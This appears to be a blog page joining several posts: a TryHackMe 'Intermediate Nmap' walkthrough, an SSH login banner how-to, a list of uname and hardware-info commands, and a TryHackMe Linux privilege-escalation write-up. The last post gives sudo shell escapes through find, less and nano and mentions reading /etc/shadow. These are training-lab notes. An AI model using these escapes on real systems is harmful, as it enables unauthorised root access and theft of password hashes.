TryHackMe — Intermediate Nmap writeup​

 Can you combine your great nmap skills with other tools to log in to this machine?

Intermediate Nmap

step 1

nmap -sV VM_IP

3 open ports

​

step 2

as last one is not standard port I have opened the web browser and IP+port and here was the plaintext username and password.

step3
trying to connect via ssh with username and pass found in previous step
and I was logged in. I have also checked directory and user

step4

my first guess was that the flag will be in flag file and I went to search for the file

find / -name flag* 2>/dev/null

result of the search returned following list and last on the list was correct one

How to change default ssh login banner

To create a cool ASCII art banner for your server, first start off by going here:

ASCII art creator/

To change the message displayed before login, edit /etc/ssh/sshd_config :

sudo vim /etc/ssh/sshd_config

and add (or uncomment) the line:

Banner /etc/banner

/etc/banner can be whatever file you want. Then edit /etc/banner

sudo vim /etc/banner

You’ll probably need to restart sshd before your changes take effect:

sudo /etc/init.d/ssh restart

To change the message displayed after login, edit /etc/motd :

sudo vim /etc/motd

and enter the message you want to display.

Linux system and Hardware details via command line

Uname command

Basic information can be access with command uname. Which is short for unix name.

1. Linux Kernel Name

uname -s

2. Linux Kernel Release

uname -r

3. Linux Kernel Version

uname -v

4. Network Node Hostname

uname -n

5. Machine Hardware Architecture

uname --m

6. Processor Type

uname -p

7. Hardware Platform

uname -i

8. Operating System information

uname -o

9. Displaying All Information of Uname Command

uname -a

CPU Information with lscpu command:

lscpu

Block Device Information with lsblk

lsblk

More detailed information for all devices:

lsblk -a

USB Device Info with lsusb

lsusb

More detailed information on each device:

lsusb -v

TryHackMe - Linux PrivEsc - Task 6 - Privilege Escalation : Sudo

This is probably one of the easiest type of PrivEsc tasks.
With command :

sudo -l

We check what services we can run as root. adn with this info we can answer Q1
From output of the command we see 3 services/programs that we can run as root. Now that we have this information we can head over to the GTFObins To check for each service/program that we can gain root access to system.

• Find

sudo find . -exec /bin/sh \; -quit

• Less

sudo less /etc/profile
!/bin/sh

• nano

sudo nano
^R^X
reset; sh 1>&0 2>&0

Note about getting root via nano one command at the time ^R - is CTRL + R and ^X CTRL + X
To answer Q2 we run:

find / -type f -name flag2.txt 2>/dev/null

that we find path to the flag2.txt file
To answer Q3 we neet to check GTFObins to get command.
To answer Q4 we open /etc/shadow to find answer. I hope this post is helpfull for anyone stuck at solving this task.